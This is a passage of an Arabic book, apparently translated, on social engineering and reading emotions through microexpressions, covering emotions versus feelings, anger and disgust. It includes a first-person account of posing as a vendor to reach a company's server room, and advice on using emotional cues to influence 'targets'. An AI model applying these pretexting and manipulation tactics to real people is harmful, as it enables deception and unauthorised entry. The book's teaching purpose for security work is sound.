‫ﯾﻌرض ﻋﺎطﻔﺔ ﻣﻌﯾﻧﺔ‪ .‬وھﻧﺎك ﺣﺎﺟﺔ اﻟﻰ اﻷﺳﺋﻠﺔ وﺧطوط اﻷﺳﺎس‪ ،‬وﺗﻛﺗﯾﻛﺎت اﻟﻣﻘﺎﺑﻠﺔ ﻟﻠﺧوض ﺣﻘﺎ ﻓﻲ ﻟﻣﺎذا‪ .‬وھذا ﯾؤدي ﺑﺷﻛل ﺟﯾد ﻓﻲ ﺗﺣدﯾد‬
‫اﻟﻔرق ﺑﯾن اﻟﻌﺎطﻔﺔ واﻟﺷﻌور‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪828‬‬

‫اﻟﻌواطف ﻣﻘﺎﺑل اﻟﻣﺷﺎﻋر )‪(Emotions versus Feelings‬‬ ‫•‬

‫ﻗﺎﻋدة اﻟﻌواطف اﻟﺳﺑﻌﺔ اﻟﺗﻲ ذﻛرﺗﮭﺎ ﺳﺎﺑﻘﺎ ھﻲ أﺳﺎس اﻟﻣﺷﺎﻋر‪ .‬ﻓﻲ ﻛﺷف اﻟﻌواطف‪ ،‬ﻋرف اﻟدﻛﺗور أﯾﻛﻣن اﻟﻌواطف ﺑﺄﻧﮭﺎ "ﻋﻣﻠﯾﺔ‪ ،‬وھﻲ ﻧوع‬
‫ﻣﻌﯾن ﻣن اﻟﺗﻘﯾﯾم اﻟﺗﻠﻘﺎﺋﻲ ﺗﺗﺄﺛر ﺑﻣﺎ ﻟدﯾﻧﺎ ﻣن ﻣﺎﺿﻲ ﺷﺧﺻﻲ‪ ،‬واﻟﺗﻲ ﻓﯾﮭﺎ ﻧﺷﻌر ﺑﺄن ﺷﯾﺋﺎ ﻣﮭﻣﺎ ﻟرﻓﺎھﯾﺗﻧﺎ ﺳوف ﯾﺣدث‪ ،‬وﻣﺟﻣوﻋﺔ ﻣن ﻗواﻋد‬
‫اﻟﺗﻐﯾرات اﻟﻧﻔﺳﯾﺔ واﻟﺳﻠوﻛﯾﺎت اﻟﻌﺎطﻔﯾﺔ ﺗﺑدأ ﻓﻲ اﻟﺗﻌﺎﻣل ﻣﻊ اﻟﻣوﻗف "‪ .‬ﻣﻊ إﻋﺎدة ﺻﯾﺎﻏﺔ‪ ،‬ﯾﻣﻛﻧﻧﺎ ﺗﺣدﯾد اﻟﻌواطف ﻋﻠﻰ أﻧﮭﺎ ﻣﺟﻣوﻋﺔ ﻣن‬
‫اﻟﻘواﻋد اﻟﻧﻔﺳﯾﺔ واﻟﺗﻲ ﺻﻧﻌﺗﮭﺎ ﻋﻘوﻟﻧﺎ ﻋﻠﻰ أﺳﺎس ﺗﺎرﯾﺧﻧﺎ اﻟﺳﺎﺑﻖ وﻋﻠم اﻷﺣﯾﺎء ﻟﻠﺗﻌﺎﻣل ﻣﻊ أي ظرف ﻧﺣن ﻓﯾﮫ ﻓﻲ اﻟوﻗت اﻟراھن‪.‬‬

‫ﻟدﯾﻧﺎ ﺟﻣﯾﻌﺎ ﻗواﻋد ﻣدﻣﺟﺔ ﺑﻧﺎء ﻋﻠﻰ ﺗﻌﻠﯾﻣﺎت طﻔوﻟﺗﻧﺎ‪ ،‬واﻟﺑﻧﯾﺔ اﻟﻌﻘﻠﯾﺔ واﻟﻣﻌﺗﻘد اﻷﺧﻼﻗﻲ واﻟﺷﺧﺻﻲ‪ .‬ﺗﺧﯾل أﻧك ﻓﻲ ﻣﺣل ﺑﻘﺎﻟﺔ‪ ،‬وﺳﻣﻌت أم ﺗوﺑﺦ‬
‫طﻔﻠﮭﺎ‪ .‬ھﻲ ﺗﻔﻌل ذﻟك ﺑطرﯾﻘﺔ ﻣﮭﯾﻧﺔ‪ ،‬ﺣﺗﻰ طرﯾﻘﺔ اﺳﺗدﻋﺎءھﺎ اﻟطﻔل ﻏﺑﯾﮫ‪ .‬ﻣﺎذا ﯾﺣدث ﻟك؟ اﻟدﻣﺎغ ﯾﻘوم ﺑﺗﺷﻐﯾل اﻛواد اﻟدﻣﺎغ ﺗﻠﻘﺎﺋﯾﺎ ﻟﺗﺣدﯾد ﻛﯾف‬
‫ﺗﺷﻌر‪ .‬إذا ﻛﺎن واﻟداك ﯾﺗﻌﺎﻣل ﻣﻌك ﺑﮭذه اﻟطرﯾﻘﺔ‪ ،‬رﺑﻣﺎ ﻛﻧت ﺗﺷﻌر ﺑﺎﻟﺗﻌﺎطف واﻟﺣزن ﻟﻠطﻔل‪ .‬أو رﺑﻣﺎ ﻛﺎن واﻟداك ﯾﺣﺗرﻣك او ﯾﺣﺑوﻧك‪ ،‬ﻟذﻟك‬
‫ﻋﻧدﻣﺎ ﺗﺳﻣﻊ ھذا‪ ،‬ﻓﺈن ھذا ﯾﺗﺳﺑب ﺑﻔﻛرة اﻟﻐﺿب أن أﺣد اﻟواﻟدﯾن ﯾﺗﺻرف ﺑﮭذه اﻟطرﯾﻘﺔ‪ .‬ﻓﻲ اﻟﺛواﻧﻲ اﻟﻘﻠﯾﻠﺔ اﻷوﻟﻰ ﺑﻌد ﺑدء ﺗﺷﻐﯾل دﻣﺎﻏك‬
‫ﻟﻠرد‪ ،‬رﺑﻣﺎ ﻻ ﯾﻣﻛن وﻗف اﻟﺑرﻧﺎﻣﺞ اﻟذي ﺳﯾﺗم ﺗﺷﻐﯾﻠﮫ‪ .‬ﺣﯾث ﺗم ﺣﻘن ﻛود ﻓﻲ اﻟﻧظﺎم اﻟﺧﺎص ﺑك‪ ،‬وأﺛﺎر ردود ﻓﻌل ﻋﺿﻠﯾﺔ واﻟﻧﻔﺳﯾﺔ واﻟﺟﺳدﯾﺔ‪.‬‬
‫اﻟزﻧﺎد اﻟﻌﺎطﻔﻲ ﯾﻘوم ﺑﺈﺣﺿﺎر اﻟﻣﺷﺎﻋر‪ :‬اﻻﺳﺗﯾﺎء واﻻﻧزﻋﺎج واﻹﺣﺑﺎط واﻟﺗﻌﺎﺳﺔ‪ .‬ھذه اﻟﻣﺷﺎﻋر ھﻲ اﻟﺗﺄﺛﯾر اﻟﺳﯾﺊ ﻣن اﻟﻌﺎطﻔﺔ واﻟزﻧﺎد اﻟﻌﺎطﻔﻲ‪.‬‬
‫ﻣن ﺧﻼل ﻓﮭم اﻟﻣﺷﺎﻋر اﻟﻧﺎﺗﺟﺔ ﻋن ذﻟك‪ ،‬ﻧﺄﺗﻲ أﯾﺿﺎ أن ﻧﻔﮭم أن اﻟﻌواطف ﺗﺣدث ﻓﻲ درﺟﺔ‪ .‬ﻋﻠﻰ ﺳﺑﯾل اﻟﻣﺛﺎل‪ ،‬اﻟﺣب ھل ھو ﻋﺎطﻔﺔ أو‬
‫ﺷﻌور؟ إذا ﻛﻧت ﺗﻌﺗﻘد أﻧﮫ ﺷﻌور‪ ،‬أﻧت ﻋﻠﻰ ﺣﻖ‪ .‬اﻟﺣب ﻏﺎﻟﺑﺎ ﻣﺎ ﯾﺳﻣﻰ ﻋﺎطﻔﺔ‪ ،‬وﻟﻛﻧﮭﺎ ﻟﯾﺳت واﺣدة ﻣن ﻋواطف اﻟﻘﺎﻋدة اﻟﺳﺑﻌﺔ‪ .‬وإﻧﻣﺎ ﺗﻧﺗﺞ‬
‫ﻣن اﻟﻌواطف‪ ،‬وﺑﺎﻟﺗﺎﻟﻲ ھﻲ ﺷﻌور‪.‬‬
‫ﻋﻧدﻣﺎ ﻧﻛون ﺳﻌداء‪ ،‬ﯾﻣﻛن أن ﺗﺳﺑب ﻟﻧﺎ أن ﻧﺣب‪ .‬اﻟﻣﻔﺎﺟﺄة ﯾﻣﻛن أن ﯾﺳﺑب ﻟﻧﺎ أن ﻧﺣب‪ .‬اﻟﺣب ﯾﻣﻛن أﯾﺿﺎ أن ﯾﻛون ﺣزﯾﻧﺎ وﯾﻣﻛن أن ﯾﺳﺑب‬
‫اﻟﺧوف‪ .‬اﻟﺣب ﻓﻲ ﺣد ذاﺗﮫ ﻟﯾس "ﻣﺟﻣوﻋﺔ ﻣن اﻟﺗﻐﯾرات اﻟﻧﻔﺳﯾﺔ واﻟﺳﻠوﻛﯾﺎت اﻟﻌﺎطﻔﯾﺔ اﻟﺗﻲ ﺗﺑدأ ﻓﻲ اﻟﺗﻌﺎﻣل ﻣﻌﮭﺎ"‪ .‬ھذا اﻟﺗﻣﯾﯾز ﻣﮭم أن ﻧﺗذﻛره‪.‬‬
‫اﻷﻗﺳﺎم اﻟﺗﺎﻟﯾﺔ ﺗﺷرﯾﺢ ﻟﻛل ﻋﺎطﻔﺔ ﻟﻣﺳﺎﻋدﺗك ﻋﻠﻰ ﻓﮭم ﻛﯾف ﯾﻣﻛﻧك اﺳﺗﺧداﻣﮭﺎ أﺛﻧﺎء اﻻﺗﺻﺎل‬
‫اﻟﻐﻀﺐ )‪(Anger‬‬

‫اﻟﻐﺿب ھﻲ ﻋﺎطﻔﮫ ﺷدﯾدة ﺗﺳﺑب ﺿﯾﻖ اﻟﻌﺿﻼت اﻟﻣﺎدي‪ ،‬ﺑﺎﻹﺿﺎﻓﺔ إﻟﻰ ذﻟك‪ ،‬زﯾﺎدة ﻣﻌدل ﺿرﺑﺎت اﻟﻘﻠب‪ ،‬واﻟﺗﻧﻔس‪ ،‬وﺗﮭﯾﺞ اﻟﻣﺷﺎﻋر‪ .‬ﻓﻲ‬
‫‪ ،Emotions Revealed‬ﯾﻘول اﻟدﻛﺗور أﯾﻛﻣن‪" ،‬واﺣدة ﻣن اﻟﺳﻣﺎت اﻷﻛﺛر ﺧطورة ﻓﻲ اﻟﻐﺿب ھو ان اﻟﻐﺿﺑﺎن ﯾدﻋو إﻟﻰ اﻟﻐﺿب‪ ،‬وﯾﻣﻛن‬
‫أن ﺗﺗﺻﺎﻋد دورﺗﮫ ﺑﺳرﻋﺔ"‪ .‬ﻓﻲ وﻗت ﻻﺣﻖ ﻓﻲ ھذا اﻟﻔﺻل ﻧﻔﺳﮫ ﯾﻌرف اﻟﻐﺿب ﺑﺎﻋﺗﺑﺎره واﺣدة ﻣن اﻟﻣﺷﺎﻋر اﻷﻛﺛر ﺧطورة ﻷﻧﮫ ﯾﻣﻛن أن‬
‫ﺷﺧص ﻣﺎ ﯾﺳﺑب أذى ﻟﻠﮭدف ﻧﺗﯾﺟﺔ ﻏﺿﺑﮫ‪.‬‬
‫ﻋﻧدﻣﺎ ﻧﻛون ﻏﺎﺿﺑون ﻧﻔﻘد ﻗدرﺗﻧﺎ ﻋﻠﻰ اﻟﺗﻔﻛﯾر ﺑوﺿوح وﺣﻛﻣﺔ ردود اﻟﻔﻌل ﻟدﯾﻧﺎ ﻣن ﺧﻼل ھذه اﻟﻌﺎطﻔﺔ اﻟﺳﻠﺑﯾﺔ‪ .‬ﻻﺣﻘﺎ ﺳوف ﻧﻧﺎﻗش ﻛﯾﻔﯾﺔ ان‬
‫اﻟﻣﺷﺎﻋر اﻟﻘوﯾﺔ ﻣﺛل اﻟﻐﺿب ﯾﻣﻛن أن ﺗﻐﻠﻖ ﻣراﻛز ﻣﻧطﻘﻧﺎ‪.‬‬
‫ﻓﻲ واﺣدة ﻣن اﻟﻣﺷﺎرﻛﺎت‪ ،‬ﺣﯾث ﻗﻣت ﺑﺎﻟذھﺎب اﻟﻰ ﻣوﻗف اﻟﺳﯾﺎرات ﻟﻠﺷرﻛﺔ اﻟﻣﺳﺗﮭدﻓﺔ واﻗﻔﺎ ﺑﻌﯾدا ﻋن اﻟﺑﺎب اﻷﻣﺎﻣﻲ‪ .‬ﻣﺷﯾت أﻗرب‪ ،‬رأﯾت‬
‫رﺟﻼ ﯾﺧرج ﻣن ﺳﯾﺎرﺗﮫ اﻟﻣﺗوﻗﻔﺔ ﻓﻲ ﻣﻛﺎن وﻗوف اﻟﺳﯾﺎرات اﻟﻣﺧﺻص ﻟﻧﺎﺋب اﻟرﺋﯾس‪ .‬ﻛﺎن ﯾﺗﺣدث ﻣن ﺧﻼل ﺳﻣﺎﻋﺔ اﻟﺑﻠوﺗوث اﻟﺧﺎﺻﺔ ﺑﮫ‪.‬‬
‫ﻛﻧت ﺑﻌﯾدا ﺟدا ﻟﺳﻣﺎع اﻟﻣﺣﺎدﺛﺔ‪ ،‬وﻟﻛن ﻣﺎ رأﯾﺗﮫ ﻋن ﻗرب ﻓﻛﺎن ﻣﺛل اﻟﺷﻛل اﻟﻣوﺿﺢ ﻓﻲ اﻟﺻورة اﻟﺗﺄﻟﯾﮫ‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪829‬‬

‫ﯾﻣﻛﻧﻧﻲ أن أﻗول إن ھذا اﻟرﺟل ﻏﺎﺿب‪ .‬ﺛم أﺻﺑﺣت ﻗرﯾﺑﺎ ﻣﻧﮫ‪ ،‬ﻗﻣت ﺑﺳﺣب ھﺎﺗﻔﻲ ﻟﻠﺗظﺎھر ﺑﺄﻧﻲ اﺟﯾب ﻋﻠﻰ ﺷﺧص ﻣﺎ‪ ،‬ﺑﻌد ذﻟك ﺗﺑﺎطﺄت‬
‫وﺗﯾرة ﺳﯾرى ﺣﺗﻰ أﺳﺗطﯾﻊ أن أﺳﻣﻊ ﻣﺎ ﻛﺎن ﯾﻘول‪.‬‬
‫ﺳﻣﻌت ﻣﺎ ﺑدا وﻛﺄﻧﮫ ﺻوت ﻟوﺳﯾط ﺛﺎﻧوي ﺑﯾن اﻟرﺟل واﻟﺑﺎﺋﻊ‪ .‬ﻛﺎﻧت ھذه ﻓرﺻﺔ ﺟﯾدة ﺑﺎﻟﻧﺳﺑﺔ ﻟﻲ ﻹﺟراء ﺗﻐﯾﯾر ﻓﻲ اﻟذرﯾﻌﺔ اﻟﺧﺎﺻﺔ ﺑﻲ‪ .‬ﻣن‬
‫ﺧﻼل اﻟﺗﺻرﯾﺣﺎت اﻟﺗﻲ اﻟﻘﺎھﺎ‪ ،‬ﻛﻧت أﻋرف أن اﻟﺑﺎﺋﻊ ﻛﺎن ﯾﺗﺣدث اﻟﻰ ﻣﺻﻧﻊ أﻧظﻣﺔ اﻟوﻗت‪ .‬ﻣﺷﯾت اﻟﻰ اﻟﺑﺎب ﺣﺗﻰ وﺻﻠت إﻟﻰ ﻣﻛﺗب اﻟﺟﺑﮭﺔ‪،‬‬
‫وﻗﻠت‪" :‬ﻣرﺣﺑﺎ‪ ،‬أﻧﺎ ﻣﺣﻣد‪ .‬أﻧﺎ ھﻧﺎ ﻟﻠﺗﺣﻘﻖ ﻣن أﻧظﻣﺔ اﻟوﻗت ﻟدﯾﻛم‪ .‬ﻗﺎل اﻟرﺋﯾس ﻟﻲ ھل ﻟك ﺑﻌض اﻟﻘﺿﺎﯾﺎ اﻟرﺋﯾﺳﯾﺔ ﻣﻊ اﻟﺑﺎﺋﻌﯾن اﻟﺣﺎﻟﯾن اﻟﺧﺎص‬
‫ﺑك‪ ،‬وﺗرﻏب ﻓﻲ أﺳﻌﺎر ﺗﻧﺎﻓﺳﯾﺔ‪ .‬ﯾﻣﻛن ﻟك أن ﺗﻘول ﻟﻲ أﯾن ﯾﻣﻛﻧﻧﻲ اﻟﺗﺣﻘﻖ ﻣن اﻟﺧﺎدم؟ "‬
‫ﻣوظف اﻻﺳﺗﻘﺑﺎل أﺧذﻧﻲ ﻣن ﺧﻼل اﻷﺑواب اﻟﻣﻐﻠﻘﺔ ﻟﻐرﻓﺔ اﻟﺧﺎدم وﺻﺎح ﻟواﺣد ﻣن رﺟﺎل ﺗﻛﻧوﻟوﺟﯾﺎ اﻟﻣﻌﻠوﻣﺎت‪" :‬اﺣﻣد‪ ،‬ﻣﺣﻣد ھﻧﺎ ﯾﺣﺗﺎج إﻟﻰ‬
‫اﻟﺣﺻول ﻋﻠﻰ واﻟﺗﺣﻘﻖ ﻣن ﻧظﺎم ﺑطﺎﻗﺔ اﻟوﻗت‪ .‬وﻗﺎل اﻧﮫ ﺳوف ﯾﺻﻠﺢ ﻛﺎﻓﺔ ﻣﺷﺎﻛﻠﻧﺎ" ‪ .‬ھذا ھو اﻟﻣﺛﺎل ﺣﯾث ان رؤﯾﺔ اﻟﻐﺿب أدى اﻟﻰ ﻧﺟﺎﺣﻲ‪.‬‬
‫اﻟﺗﻔﺻﯾل‬
‫ھﻧﺎك اﻟﻛﺛﯾر ﻣن اﻷﺷﯾﺎء ﺗﺣدث أﺛﻧﺎء اﻧﻔﻌﺎل اﻟﻐﺿب‪ .‬ﻣﺟرد اﻟﺗﻔﻛﯾر ﻓﯾﻣﺎ ﯾﺣدث ﻋﻧدﻣﺎ ﺗﺷﻌر ﺑﺎﻟﻐﺿب‪ .‬ھل اﻟﺗﻧﻔس أﺛﻘل؟ ھل اﻧت ﻣﺗوﺗر؟ ﻛل‬
‫ھذا أﻣر طﺑﯾﻌﻲ‪ .‬ﺣﯾث ﯾﺳﺗﻌد اﻟﺟﺳد ﻟﻠﻘﺗﺎل‪ ،‬وﺑﺎﻟﺗﺎﻟﻲ ﻓﺈن اﻟﻌﺿﻼت ﺗﺻﺑﺢ ﻣﺗوﺗرة‪ ،‬اﻟﺗﻧﻔس ﯾﺻﺑﺢ أﺛﻘل‪ ،‬اﻟذﻗن ﯾﺻﺑﺢ ﻣﺗﺟﮭﺎ ﻷﺳﻔل ﻟﺣﻣﺎﯾﺔ‬
‫اﻟرﻗﺑﺔ‪ ،‬واﻟﯾدﯾن ﺗﻛون ﻣﺣﻛﻣﮫ‪ .‬ﺑﺎﻹﺿﺎﻓﺔ إﻟﻰ ذﻟك‪ ،‬اﻟوﺟﮫ ﯾﻌرض اﻟﻛﺛﯾر ﻣن اﻟﺗوﺗر واﻟﺗﺟﻌدات‪ .‬إﻋﺎدة إﻧﺷﺎء ھذه ﺑﺣذر‪ ،‬ﺳوف ﺗﺷﻌر ﺑﺎﻟﻐﺿب‪:‬‬
‫‪ .1‬ﺳﺣب اﻟﺣﺎﺟﺑﯾن اﻟﺧﺎص ﺑك إﻟﻰ أﺳﻔل وﻣﻌﺎ‪ ،‬ﺗﻘرﯾﺑﺎ ﻣﺛل ﻛﺄﻧك ﺗﺣﺎول ان ﺗﻠﻣس أﻧﻔك ﺑﺎﻟﺟزء اﻟداﺧﻠﻲ ﻣن ﺣﺎﺟﺑﯾك‪ ،‬ﻛﻣﺎ ھو ﻣﺑﯾن ﻓﻲ‬
‫اﻟﺷﻛل اﻟﺗﺎﻟﻰ‪.‬‬
‫‪ .2‬ﺑﯾﻧﻣﺎ اﻟﺣواﺟب اﻟﺧﺎﺻﺔ ﺑك أﺳﻔل‪ ،‬ﺣﺎول أن ﺗﻔﺗﺢ ﻋﯾﻧﯾك واﺳﻌﺔ‪ ،‬دون ﺗﻌدﯾل ﻣوﻗف اﻟﺟﺑﯾن اﻟﺧﺎص ﺑك‬
‫‪ .3‬ﺑﯾﻧﻣﺎ ﻛﻧت ﺗﻔﻌل ھذا‪ ،‬ﺣﺎول ﺧﻠﻖ وھﺞ )‪) (glare‬ﻛﻣﺎ ھو ﻣوﺿﺢ ﻓﻲ اﻟﺷﻛل اﻟﺗﺎﻟﻰ(‪.‬‬

‫‪ .4‬ﻗم ﺑﺎﻟﺿﻐط ﻋﻠﻰ ﺷﻔﺗﯾك ﻣﻌﺎ ﺑﺈﺣﻛﺎم‪ .‬أو‪ ،‬إذا ﻛﺎﻧت ﻣﻔﺗوﺣﺔ‪ ،‬ﻛﻣﺎ ﻓﻲ اﻟﺷﻛل اﻟﺗﺎﻟﻰ‪ ،‬ﻓﺄﺳﻧﺎﻧك ﺗﺻﺑﺢ ﻣﺷدودة‪ ،‬ﻣﻊ ﺿﯾﻖ اﻟﻔك‪.‬‬
‫‪ .5‬اﻟذﻗن ﻏﺎﻟﺑﺎ ﻣﺎ ﺗﺧﻔض ﻷﺳﻔل ﻟﺣﻣﺎﯾﺔ رﻗﺑﺗك‪.‬‬

‫ھذه اﻟﺻور ﻻ ﺗظﮭر اﻟﻐﺿب اﻟﺷدﯾد‪ ،‬وﻟﻛن ھذه ﺗﻠﻣﯾﺣﺎت ﺧﻔﯾﺔ ﻻ ﺗزال ﻣﮭﻣﮫ وﯾﺟب ان ﺗﻼﺣظﮭﺎ‪ .‬ﻋﻧدﻣﺎ ﺗﻧظر إﻟﻰ ھذا اﻟﺗﻌﺑﯾر‪ ،‬ﺣﺗﻰ ﻣﻊ ﺗﻠﻣﺢ‬
‫ﺧﻔﯾف‪ ،‬ﻓﺎﻧﮫ ﻣن اﻻﺳﮭل ﺑﻛﺛﯾر اﻟﺗﻘﺎط ﻋﺎطﻔﺔ اﻟﻐﺿب ھذه‪.‬‬
‫ﻓﻲ اﻟﺻورﺗﯾن اﻟﺳﺎﺑﻘﺗﯾن‪ ،‬ﺑن ﯾظﮭر ﻋﻼﻣﺎت ﻛﻼﺳﯾﻛﯾﺔ وﻟﻛﻧﮭﺎ ﺧﻔﯾﺔ ﻣن اﻟﻐﺿب‪ .‬ﺟﺑﯾن ﻟﯾس ﻣﺟﻌد ﻛﻣﺎ ﻗد ﯾﻛون ﻋﺎدة ﻋﻧدﻣﺎ ﯾﻛون ﺷﺧص ﻣﺎ‬
‫ﻏﺎﺿب ﺑﺷﻛل ﻣﻛﺛف‪ .‬ﺗﻌﻠم ﻛﯾﻔﯾﺔ اﻟﺗﻌرف‪ ،‬وﺣﺗﻰ اﻷھم‪ ،‬ﻣراﻗﺑﺔ ھذا اﻟﻌرض اﻟﻌﺎطﻔﻲ‪ ،‬ﯾﻣﻛن أن ﯾﺳﺎﻋدك ﺣﻘﺎ ﻓﻲ أن ﺗؤﺛر ﻋﻠﻰ أھداﻓك‬
‫اﻟﻐﺿب ﻋﺎدة ﻣﺎ ﯾﻛون ﻣن اﻟﺳﮭل ﻣﻼﺣظﺗﮫ ﻋن ﺑﻌض اﻟﺗﻌﺑﯾرات اﻷﺧرى‪ .‬ﻓﻲ اﻟﻐﺿب ﺗﺻﺑﺢ اﻟﺷﻔﺎه ﺿﯾﻘﺔ وﻣﺗوﺗرة وﻣﺿﻐوطﺔ‪ .‬اﻟﺣﺎﺟﺑﯾن‬
‫ﻣﺎﺋﻠﯾن إﻟﻰ أﺳﻔل وﻣﺗﻼﺻﻘﯾن وﻣﺷدودﯾن‪ ،‬ﺛم ﺗﺄﺗﻲ اﻟﺳﻣﺔ اﻷﻛﺛر ﻣﻼﺣظﺗﮫ ﻣن اﻟﻐﺿب‪ ،‬اﻟوھﺞ )‪.(glare‬‬
‫اﻟﻐﺿب ﻋﺎطﻔﺔ ﻗوﯾﺔ وﯾﻣﻛن أن ﺗؤدي إﻟﻰ اﻟﻌدﯾد ﻣن اﻟﻣﺷﺎﻋر اﻷﺧرى ﻣﻌﮭﺎ‪ .‬أﺣﯾﺎﻧﺎ ﻋﻧدﻣﺎ ﯾﻛون اﻟﺷﺧص ﯾﺷﻌر ﺑﺎﻟﻐﺿب ﻣن ﺷﻲء‪ ،‬ﻣﺎ ﺗراه‬
‫ھو ‪ microexpressions‬ﻣﺛل ﻣﺎ ھو ﻣوﺿﺢ ﻓﻲ اﻟﺷﻛل اﻟﺗﺎﻟﻲ‪ .‬ﻣﺎ ﯾﺟﻌل ﻣن اﻟﺻﻌب أن ﻧرى ﺣرﻛﺎت اﻟوﺟﮫ ﺣﯾث أﻧﮭﺎ ﺗدوم ‪ 1/25‬ﻣن‬
‫اﻟﺛﺎﻧﯾﺔ‪ .‬ﻓﻲ اﻟﺷﻛل اﻟﺗﺎﻟﻲ‪ :‬ﻻﺣظ اﻟوھﺞ واﻟﺷﻔﺎه اﻟﻣﺗوﺗرة واﻟﺣواﺟب اﻟﻣﺷدودة‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪830‬‬

‫إذا ﻛﺎن إﻧﺗﺎج ﺗﻌﺑﯾرات اﻟوﺟﮫ ﯾﻣﻛن أن ﯾﺳﺑب اﻟﻌﺎطﻔﺔ‪ ،‬وﯾﻌﻧﻲ ھذا أن ﺣرﻛﺎت اﻟوﺟﮫ ﻟدﯾﻧﺎ ﯾﻣﻛن أن ﺗؤﺛر ﻋﻠﻰ اﻟﻌواطف اﻟﺗﻲ ﻧﺷﻌر ﺑﮭﺎ‪ ،‬ورﺑﻣﺎ‬
‫ﺣﺗﻰ ﻣﺷﺎﻋر ﻣن ﺣوﻟﻧﺎ‪.‬‬
‫ﻣﻣﺎرﺳﺔ ھذه اﻟﻌﺎطﻔﺔ ﻓﻲ اﻟﻣرآة ﺣﺗﻰ ﺗﺣﺻل ﻋﻠﻰ اﻟﺷﻛل اﻟﻣطﻠوب‪ .‬ﯾﺑﯾن اﻟﺷﻛل اﻟﺗﺎﻟﻲ ﺻورة ﻻﻣرأة ﺷﺎﺑﺔ ﺗﺑﯾن ﻟﻧﺎ ﺑﺎﻟﺿﺑط ﻛﯾف ﯾﺗم ﻋرض‬
‫اﻟﻐﺿب‪ .‬اﻟﺷﻛل اﻟﺗﺎﻟﻲ ﻻﺣظ ﺗﻌﺑﯾر واﺿﺢ ﻟﻠﻐﺿب ﻋﻠﻰ وﺟﮭﮭﺎ‪.‬‬

‫ﺗﻣﺎﻣﺎ ﻛﻣﺎ ھو واﺿﺢ ﻛﻣﺎ ھو اﻟﺣﺎل ﻓﻲ اﻟﺷﻛل اﻟﺳﺎﺑﻖ اﻟﻧظرة اﻟﺑﺎردة اﻟﺟﻠﯾدﯾﺔ ﯾﻌطﯾﮭﺎ ﺑﻌﯾدا ﺟدا‪.‬‬
‫اﺗﻘﺎن اﻟﻘدرة ﻋﻠﻰ اﻧﺗﺎج ‪ microexpressions‬ﺳﯾﻘطﻊ ﺷوطﺎ طوﯾﻼ ﻧﺣو ﻓﮭم اﻟﻌﺎطﻔﺔ اﻟﺗﻲ ﺗﻘف وراءھﺎ‪ .‬ﻋﻧدﻣﺎ ﯾﻣﻛﻧك اﻹﻋﺎدة ﺑﻧﺟﺎح وﻓك‬
‫ﺷﻔرة ‪ ،microexpressions‬ھل ﯾﻣﻛن أن ﻧﻔﮭم اﻻﻧﻔﻌﺎل اﻟذي ﯾﺳﺑب ذﻟك‪ .‬ﻋﻧد ھذه اﻟﻧﻘطﺔ ﯾﻣﻛﻧك ﻓﮭم اﻟﺣﺎﻟﺔ اﻟﻧﻔﺳﯾﺔ ﻟﻠﺷﺧص اﻟذي ﺗﺗﻌﺎﻣل‬
‫ﻣﻌﮫ‪ .‬ﻟﯾس ﻓﻘط اﺳﺗﻧﺳﺎخ ھذه اﻟﺗﻌﺎﺑﯾر ﻋﻠﻰ ﻧﻔﺳك وﻟﻛن أﯾﺿﺎ اﻟﻘدرة ﻋﻠﻰ رؤﯾﺗﮭم وﻗراءﺗﮭم ﻓﻲ ﺣﺎﻻت أﺧرى ﯾﻣﻛن أن ﯾﻛون ﻣﻔﯾدة ﻓﻲ اﻟﺳﯾطرة‬
‫ﻋﻠﻰ ﻧﺗﺎﺋﺞ ﺗﻌﺎﻗدات اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﻟدﯾك‪.‬‬
‫اﻻﺷﻤﺌﺰاز )‪(Disgust‬‬

‫اﻻﺷﻣﺋزاز ھﻲ ﻋﺎطﻔﺔ ﻗوﯾﺔ ﻋﺎدة ﺗﻛون رد ﻓﻌل ﻋﻠﻰ ﺷﻲء ﺣﻘﺎ ﻻ ﺗﺣﺑﮫ‪ .‬ھذا "اﻟﺷﻲء" ﻟﯾس داﺋﻣﺎ ﻛﺎﺋن ﻣﺎدي‪ .‬وﻟﻛن ﻣن اﻟﻣﻣﻛن أن ﯾﻛون ﺷﯾﺋﺎ‬
‫ﻗﺎﺋﻣﺎ ﻋﻠﻰ اﻻﻋﺗﻘﺎد أو اﻻﻧﻔﻌﺎﻻت‪ .‬اﻻﺷﻣﺋزاز ﯾﻣﻛن ﺗﺷﻐﯾﻠﮫ ﻣن ﻗﺑل اﻟﺷم‪ ،‬اﻟﺗذوق‪ ،‬اﻟﻠﻣس‪ ،‬اﻟﺑﺻر‪ ،‬أو ﺣﺗﻰ أﻓﻛﺎر ﺷﻲء أو ﺷﺧص‪ ،‬ﺣﺗﻰ ﻧﻔﺳك‬
‫أو اﻹﺟراءات اﻟﺧﺎﺻﺔ ﺑك‪.‬‬
‫اﻟطﻌﺎم اﻟذي ﺗﻛرھﮫ ﺣﻘﺎ ﯾﻣﻛن أن ﯾﺳﺑب ﺷﻌور اﻻﺷﻣﺋزاز‪ ،‬واﻟﺗﻲ ﺳوف ﯾؤدي اﻟﻰ ھذا اﻟﺗﻌﺑﯾر‪ .‬ﻣﺎ ھو اﻟﻣدھش ﺣﺗﻰ ﻓﻲ ﺣﺎﻟﺔ ﻋدم وﺟود‬
‫راﺋﺣﺔ أو اﻟرؤﯾﺔ اﻟﻔﻌﻠﯾﺔ ﻟﻠطﻌﺎم‪ ،‬اﻟﻔﻛر ﻓﻲ أﻧﮫ ﯾﻣﻛن أن ﯾﺳﺑب ﻧﻔس اﻟﻌﺎطﻔﺔ‪ .‬اﻻﺷﻣﺋزاز‪ ،‬ﺳواﺋل اﻟﺟﺳم ﻋﻣوﻣﺎ ﺗﻌﻣل ﻋﻠﻰ ﺟﻠب ھذه اﻟﻣﺷﺎﻋر‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪831‬‬

